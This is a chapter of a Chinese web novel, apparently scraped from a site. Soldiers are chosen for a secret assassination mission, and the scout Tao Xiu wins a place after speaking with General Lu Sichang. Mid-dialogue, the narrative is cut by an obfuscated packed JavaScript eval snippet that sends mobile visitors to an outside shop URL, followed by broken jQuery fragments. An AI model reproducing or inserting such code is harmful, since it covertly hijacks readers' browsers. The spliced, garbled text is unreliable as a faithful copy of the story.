83.威锋幢的任务
    身穿铠甲的卢思苌站在点将台上,身后是段泽及几名书佐、詹士等随从官。陶修预感将有大事发生,在此平静普通的一日。

    几百人的队伍集合的很快。卢思苌走下点将台在队伍中走了几步,这群人都是健壮彪悍的年轻人,有的体格虽魁梧,脸蛋却很稚气,是一群很容易被鼓动的热血男儿。他返回点将台,叉开双足,左手扶剑右手撑腰,对年轻人喊道:“大陈到了用人之时,你们愿不愿抛头颅洒热血,敢不敢豁出性命为亲人争份光耀门楣的战功?”

    “敢——”异口同声的高喊震耳欲聋。

    “江北的漳南城已失去,明天丢掉的就是此刻你们踩在脚下的土地,是要洗净脖颈等他们拴上链锁带回北方世代为奴,还是跟着我捍卫大陈的寸寸疆土!”

    “誓死跟着将军——”

    他们尚不知等待自己的是哪种军令,但振奋的高喊一声高过一声,在秋日午后明晃晃的白日下震动人心。

    段泽盯着自己一手调教出来的几百将士,没有卢思苌激励众人时的慷慨神色,用平静浑厚的语气对这帮斥候喊话:“我要从你们当中挑选一批能力出众者为卢大将军调遣,任务艰辛,更会有生命危险,有自告奋勇者吗?”

    众人都晓得直接效命在卢思苌麾下更有前途,纷纷嚷着即刻就死也在所不惜。段泽看着他们天真的脸,像功勋就在眼前,只要他们伸手捞一把就能脱颖而出摆脱贫贱的身份。

    这次暗杀行动,选中的人都会有去无回,段泽对将士们的热情有些不忍,暗示道:“真的不怕死吗?”

    死亡,是种终极的效忠方式。这些训练有素的斥候,一面想进入卢思苌麾下,一面要剖心挖肝以表自己的忠心,都把段泽的暗示当成激励,没有一个肯退缩的。

    陶修见去年受重伤的许图陵喊得脖子通红,撸起袖子挥拳要加入“能力出众”队中,看来身上抡的几刀还没吓退他。陶修和张城一前一后的位置,私下讨论道:“你觉得会是什么任务?”

    张城从卢将军亲自站在点将台上喊话众人推断,绝对是机密任务,低声玩笑道:“会不会让我们去刺杀周主?”

    “我宁愿相信要杀的是贺功臣。兄弟们的仇不知何时能报。”

    去年差不多也是这个时候,十几名兄弟被暴尸在熊威营的江面上,尸体在风雨中晃荡九个月之久,直到绑在他们脖子上的绳子腐烂断掉,尸骨才被卸下胡乱丢在江边的浅滩中。张城的脸色瞬间变得冷峻,狠狠说道:“我想杀的就是贺功臣。”

    段泽抬手示意沸腾的人群安静,大声道:“你们都是江东好儿男,也知道你们建功立业的热情和决心,没被我挑选中的人,往后会有很多机会等你们效力。”他命站在卢思苌身后的书佐高声宣读册子上的名字。

    每读出一个名字,队伍中就有一声浑厚的应答传至四面八方。周石听到自己姓名后隔着三条队伍朝陶修举拳庆贺,得意地挑眉,用夸张的嘴型朝他示意:“干吧,兄弟。”

    书佐宣读期间,队伍很安静,陶修低头望着脚旁一株刚破土的细嫩青草,凝神辨听自己姓名,他听见武元义和张城被点中,还有许多常玩在一起的同袍一一被点到,直到书佐合上册子令选中的人出列,他才慌忙转身问张城:“你听到我名字没?”

    张城急着出列,匆忙回他:“我没听到,是不是弄错了,解散后我跟你去找段校尉。”

    约有两百人被选中,他们组成的新队列井然有序,个个英姿飒爽,任谁都明白这是特别挑选出来的人。陶修忍耐至队伍解散,寻棵树坐下等着,等段泽给新队列训话完毕。

    许图陵看见他的身影,用微瘸的左腿跳着走过去,吃惊地问:“没选中你?”

    “没有我,你方才有没有听到我名字?”他再次确认一遍。

    许图陵朝他左边一坐,拍拍受过伤的大腿道:“我比你还紧张,以为段校尉能对我刮目相看,全程都在听自个儿名字,哪还有心思留意你。”他抬手指着英姿勃勃的两百人,嗤了一声:“他们都不如你,其中必有缘故。是不是段校尉有特别的事让你去做?”

    他伸在陶修眼前的是一只消瘦的手臂,自那次受伤,许图陵元气大伤,无论如何都无法恢复到从前的体格,沧澜队训练时他几次体力不支瘫软在场上,夏季的一次水中训练险些沉在江水里没上来。段泽想将他转入无需拿兵器的后勤部队,他在校尉的帐外站了整整一天,痛哭流涕要留在沧澜。段泽最终是答应了,但联想到之前拼命想加入沧澜还在他面前扛起大石头的周石,段泽忍不住咬牙切齿骂一句:“都你娘的是犟种。”

    陶修对他的身体状况有些担忧:“这次的任务绝对非同小可,你留下养好身体,以后有的是立功的机会。”

    许图陵仰靠在树上,叹口气道:“我是不是没有作用了?别看我平日嘻嘻哈哈,手发抖握不住刀时我也很害怕,怕被踢出沧澜队,怕没了价值。”

    “回到故乡,该种地种地,该烧窑烧窑,做你的老营生不是更好?”

    “话虽如此,你又为何这么在乎有没有被选中,明知道卢将军下达的任务都是九死一生。我跟你一样,在这里待久了就想找准自己的位置,一旦被人否定会很慌张,无所适从。谁爱打仗啊,谁都不愿打仗,既然必须面对战争,看见你们都在这残酷的环境下活下去,我好像被你们从圈子里抛弃了。”

    “图陵,你想的太多了,万一真到不能上战场那一日,你要明白,安居乐业平平淡淡活着才是我们原本真正该拥有的东西。”

    两人靠在树上一直等到落日偏西那支队伍才解散。陶修拍拍许图陵的肩膀叮嘱道:“天冷了,你快回去。”说完就朝段泽的背影猛追过去。

    段泽跟在卢思苌身后,跟卢将军解释训练这批年轻斥候时的习惯和口令等事项,忽听见身后有人追上来,大声道:“段校尉,我有事想问您。”

    一听见陶修的声音,段泽就知道又来一个犟种,转身不等他开口就厉声拒绝:“是不是问你没能选中的原因?这次任务不需要你,留在沧澜,我自然有用得到你的地方。”他冷脸从陶修身上扫过。

    这话让陶修无法继续追问,毕竟段校尉没说他不够格,也没说不会派给他其他任务。欲言又止地立了片刻,刚要顺从地转身回去,卢思苌叫住他:“陶修?”

    陶修惊讶地抬眸,没想到时隔一年将军还能记得营中的小士兵,慌忙行礼道:“正是小将陶修。”

    卢思苌让段泽等人先行,才跟陶修说:“跟我来。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022184|123338||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    陶修默默跟在大将军身后不敢言语,一路无话。快要走到海定楼时,卢思苌像是突然发现身后有人,停下脚步转身问:“上次公仪林来探访的旧友就是你?”

    “对,是我。”

    “如今公仪林已被擢升为宫城右卫,你认识这样的人物,关系匪浅,为何还要留在江矶营做斥候?”

    这可能是关乎尊严一事,而尊严于穷人而言却又最不值钱,但陶修从骨子里不愿像弱者一样躲藏在公仪林的羽翼下被人指点靠色相谋职,或许这些都是次要,他只是想与公仪林保持一种对等的关系,毕竟与公仪林之间的关系还没到至死都不会反目成仇的地步。

    “大将军,公仪公子与我是同乡旧友,他曾几次想要帮我脱离军籍但都被我拒绝了,大将军就当是我不愿受他恩惠,我想凭自己的本领在营中立足。”

    卢思苌面色严峻,沉沉地盯着他:“想在军营出人头地,跟寒人企图越过大族做官一样难,军营不乏靠自身出色的才干提拔上来的将士,但你在营中混上十年八年可能都不及公仪林的一句话。”

    “我不在乎,只要将军能给我一个公平的机会,陶修一定不会让将军失望。”

    卢思苌思忖片刻,用长辈的慈祥口气说:“好,明日你跟他们一起来我威锋幢报道。”

    “多谢大将军。”

    陶修从海定楼返回沧澜小营,张城和周石已等在路边,一见了他就都跳出来关切地问:“怎么样,是漏了你的名字还是有其他原因,你直接找的卢将军?”

    刚才的虚惊一场让陶修很紧张,他将两臂舒展运力,缓了口气说:“这事和公仪林有关。大将军见我和公仪林相识才没选中我,留我一命。”他盯着二人的脸,仔细观察他们的表情:“你们要有心理准备,这意味着我们可能会死在这次行动中。”

    周石觉得眼角和腮颊的肉颤动不可控,呆立原地呐呐自问:“我能不能退出,我儿子还小?”

    “段校尉再三暗示是不是不怕死,你却当敞亮话在激励你?现在想退出迟了。”张城一把搂住周石,笑着激将道:“空长了这体格,我早看出你怕死了。”

    周石一把掀开他勒在脖子上的手臂,用铁锤似的拳头朝他抡过去:“你说谁怕死了?”三拳抡空,周石突然暴躁起来,两人脸红筋爆掐在一起像斗角的水牛,一动不动。陶修将二人撕开,对周石道:“三言两语你就被激怒,近两年的训练都不能克制自己的冲动。刚才的话我收回,都是我的推测唬你们玩。如果真的不愿留在威锋幢,是一定能退出的。切忌冲动行事。”

    周石掸掸抓皱的衣裳,粗声粗气道:“我没说我要退出!”

    从沧澜队转变为威锋幢,仅仅是改了队伍的番号,人,还是那批相熟的面孔。第三日,终于有关于这次行动的少许风声透露出来。

    武元义因上回火烧熊威营有功,被提拔为沧澜小营的队长,手下约有五十来名士兵,这次调动后他清点归他掌管的人数,有十八人一起被挑来了威锋幢。那晚快要就寝时,几个关系透熟的都聚拢在武元义跟前,向他打听知道的情报。

    武元义把知道的消息仅讲出两分真:“漳南城有我们的叛徒,此次行动只有一个目的——诛杀彭枝礼。”